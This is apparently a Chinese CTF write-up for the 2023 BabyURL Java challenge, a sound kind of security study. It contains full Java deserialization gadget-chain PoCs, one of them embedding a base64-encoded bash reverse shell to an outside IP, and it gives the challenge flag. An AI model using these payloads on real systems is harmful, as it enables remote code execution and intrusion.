题目信息
- 题目名称:2023巅峰极客 BabyURL
- 题目镜像:lxxxin/dfjk2023_babyurl
- 内部端口:8080
- 题目附件:
attachment.zip
启动脚本
1
|
docker run -it -d -p 12345:8080 -e FLAG=flag{8382843b-d3e8-72fc-6625-ba5269953b23} lxxxin/dfjk2023_babyurl
|
WriteUp
SignedObject二次反序列化
该打法仅能列目录读文件,比赛时可以直接读文件获得flag,本镜像的flag需要suid提权后才能读到,如果仅想复现该打法,进入容器给/flag赋读权限即可
下载附件,反编译,文件
结构如下:

在IndexController中的/hack路由中有反序列化入口

这里反序列化是自定义对象输入流,把URLVisiter和URLHelper过滤掉了

/file路由会读取/tmp/file的内容并返回

在URLHelper类中有个反序列化入口

由于URLHelper类被过滤了,无法直接反序列化,不过可以二次反序列化
SignObject#getObject会触发二次反序列化

接下来问题就转换成如何调用SignObject#getObject
这个考点在2023阿里云CTF的Bypassit1有考察过
2023阿里云CTF Bypassit1
本地重写一下BaseJsonNode�类,把writeReplace方法删除掉才能正常反序列化

完整的PoC如下:
- 在URLHelper中会对传入的url做校验,不过用的是
myurl.startsWith("file")
方式校验,可以通过大写绕过
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
|
import com.fasterxml.jackson.databind.node.POJONode;
import com.yancao.ctf.bean.URLHelper;
import com.yancao.ctf.bean.URLVisiter;
import javax.management.BadAttributeValueExpException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.security.*;
public class BabyURLPoC {
public static String filePath = "/path/to/ser.bin";
public static void main(String[] args) throws Exception {
URLHelper handler = new URLHelper("File:///");
// URLHelper handler = new URLHelper("File:///flag");
handler.visiter = new URLVisiter();
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new SignedObject(handler, privateKey, signingEngine);
POJONode node = new POJONode(signedObject);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setFieldValue(val, "val", node);
ser(val);
}
public static void ser(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(filePath));
objectOutputStream.writeObject(obj);
objectOutputStream.close();
}
public static void setFieldValue(Object obj, String field, Object val) throws Exception{
Field dField = obj.getClass().getDeclaredField(field);
dField.setAccessible(true);
dField.set(obj, val);
}
}
|
先读根目录下所有文件列表,再读文件

打过去注意URL编码,然后再访问/file路由读文件即可

绕过黑名单打TemplatesImpl
该打法能RCE且不依赖题目提供的URLHelper、URLVisiter类
参考2023阿里云CTF的Bypassit1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
|
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javax.management.BadAttributeValueExpException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
public class AliyunBypassIt {
public static String filePath = "/path/to/ser.bin";
public static void main(String[] args) throws Exception {
byte[] code = getTemplates();//用javassist获取
byte[][] codes = {code};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "useless");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_bytecodes", codes);
POJONode node = new POJONode(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setFieldValue(val, "val", node);
ser(val);
}
public static void ser(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(filePath));
objectOutputStream.writeObject(obj);
objectOutputStream.close();
}
public static byte[] getTemplates() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass template = pool.makeClass("MyTemplate");
template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String block = "Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjEuMS4xLzM5OTk5IDA+JjE=}|{base64,-d}|{bash,-i}\");";
template.makeClassInitializer().insertBefore(block);
return template.toBytecode();
}
public static void setFieldValue(Object obj, String field, Object val) throws Exception{
Field dField = obj.getClass().getDeclaredField(field);
dField.setAccessible(true);
dField.set(obj, val);
}
}
|

接着利用curl的suid提权读/flag即可
